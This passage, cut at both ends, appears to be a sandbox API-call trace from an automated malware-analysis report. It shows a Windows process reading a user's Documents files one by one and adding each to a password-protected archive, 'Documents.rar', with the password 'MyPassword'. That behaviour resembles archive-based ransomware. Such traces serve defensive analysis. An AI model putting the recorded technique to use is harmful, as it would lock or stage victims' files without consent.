cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.333] GetTickCount () returned 0xa675fd [0068.333] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.333] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.333] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.333] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.333] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="oGJkVukoMxIO6MpIrH.xls") returned 22 [0068.333] SetWindowTextW (hWnd=0x10280, lpString="s4EDs60 8.csv") returned 1 [0068.334] GetTickCount () returned 0xa675fd [0068.334] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.334] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.334] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.334] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.334] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x3be)) [0068.334] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.334] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14367460509) returned 1 [0068.334] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xb237, lpOverlapped=0x0) returned 1 [0068.335] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ab277, nNumberOfBytesToRead=0xf4dc9, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ab277*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.335] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.335] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.335] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39db40 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.335] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39daf0 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.335] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e30 | out: hHeap=0x2e0000) returned 1 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e00 | out: hHeap=0x2e0000) returned 1 [0068.335] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39db40 [0068.335] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.337] GetTickCount () returned 0xa675fd [0068.337] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14367704930) returned 1 [0068.337] GetTickCount () returned 0xa675fd [0068.337] GetTickCount () returned 0xa675fd [0068.337] GetTickCount () returned 0xa675fd [0068.337] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.337] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.337] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.337] ResetEvent (hEvent=0x1a4) returned 1 [0068.337] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.339] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.339] ResetEvent (hEvent=0x1a4) returned 1 [0068.339] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.340] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.340] GetTickCount () returned 0xa675fd [0068.340] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14368087488) returned 1 [0068.341] GetTickCount () returned 0xa675fd [0068.341] GetTickCount () returned 0xa675fd [0068.341] GetTickCount () returned 0xa675fd [0068.341] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.341] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.341] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.341] ResetEvent (hEvent=0x190) returned 1 [0068.341] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.341] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.341] ResetEvent (hEvent=0x190) returned 1 [0068.341] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.342] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.342] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.342] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.342] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1f6dfc [0068.342] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1f6e67 [0068.342] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.342] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.342] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.342] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.342] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xb290, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xb290, lpOverlapped=0x0) returned 1 [0068.346] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0068.346] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0068.346] GetFocus () returned 0x0 [0068.346] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0068.346] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0068.346] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.346] SetFilePointer (in: hFile=0x198, lDistanceToMove=2059772, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1f6dfc [0068.346] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1f6dfc [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.346] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39daf0 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.346] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39db40 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e30 | out: hHeap=0x2e0000) returned 1 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e00 | out: hHeap=0x2e0000) returned 1 [0068.346] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39daf0 [0068.346] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.346] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4be10 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.347] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2020f7 [0068.347] CloseHandle (hObject=0x1b0) returned 1 [0068.347] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.347] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.347] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.347] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.347] FindFirstFileW (in: lpFileName="mevC_E6.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.347] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.347] CreateFileW (lpFileName="mevC_E6.docx" (normalized: "c:\\users\\whuoxysd\\documents\\mevc_e6.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.347] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.347] GetTickCount () returned 0xa6760c [0068.347] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.347] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.347] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.347] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.347] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="s4EDs60 8.csv") returned 13 [0068.347] SetWindowTextW (hWnd=0x10280, lpString="mevC_E6.docx") returned 1 [0068.347] GetTickCount () returned 0xa6760c [0068.347] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.347] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.348] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.348] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.348] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x3cd)) [0068.348] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.348] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14368823880) returned 1 [0068.348] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x7b84, lpOverlapped=0x0) returned 1 [0068.348] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a7bc4, nNumberOfBytesToRead=0xf847c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a7bc4*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39db40 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39daf0 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.349] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e60 | out: hHeap=0x2e0000) returned 1 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e30 | out: hHeap=0x2e0000) returned 1 [0068.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39db40 [0068.349] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.349] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.350] GetTickCount () returned 0xa6760c [0068.350] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14369013033) returned 1 [0068.350] GetTickCount () returned 0xa6760c [0068.350] GetTickCount () returned 0xa6760c [0068.350] GetTickCount () returned 0xa6760c [0068.350] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.350] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.350] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.350] ResetEvent (hEvent=0x1a4) returned 1 [0068.350] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.354] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.354] ResetEvent (hEvent=0x1a4) returned 1 [0068.354] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.355] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.355] GetTickCount () returned 0xa6760c [0068.355] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14369543199) returned 1 [0068.355] GetTickCount () returned 0xa6760c [0068.355] GetTickCount () returned 0xa6760c [0068.355] GetTickCount () returned 0xa6760c [0068.355] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.355] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.355] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.355] ResetEvent (hEvent=0x190) returned 1 [0068.355] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.356] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.356] ResetEvent (hEvent=0x190) returned 1 [0068.356] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.356] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.356] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.356] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.356] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2020f7 [0068.356] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x202157 [0068.356] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.356] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.356] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.356] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.356] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7bc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7bc0, lpOverlapped=0x0) returned 1 [0068.357] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.357] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.357] SetFilePointer (in: hFile=0x198, lDistanceToMove=2105591, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2020f7 [0068.357] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2020f7 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.357] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39daf0 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.357] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e30, Size=0x48) returned 0x39db40 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e30 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e60 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e60 | out: hHeap=0x2e0000) returned 1 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e30 | out: hHeap=0x2e0000) returned 1 [0068.357] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63e00, Size=0x48) returned 0x39daf0 [0068.357] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.357] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.357] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3b64600 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.357] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.357] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x209d17 [0068.357] CloseHandle (hObject=0x1b0) returned 1 [0068.357] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.357] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.357] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.357] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.357] FindFirstFileW (in: lpFileName="N-1n4D-yiI1zNCjze.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.358] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.358] CreateFileW (lpFileName="N-1n4D-yiI1zNCjze.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\n-1n4d-yii1zncjze.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.358] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.358] GetTickCount () returned 0xa6761c [0068.358] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.358] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.358] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.358] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.358] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="mevC_E6.docx") returned 12 [0068.358] SetWindowTextW (hWnd=0x10280, 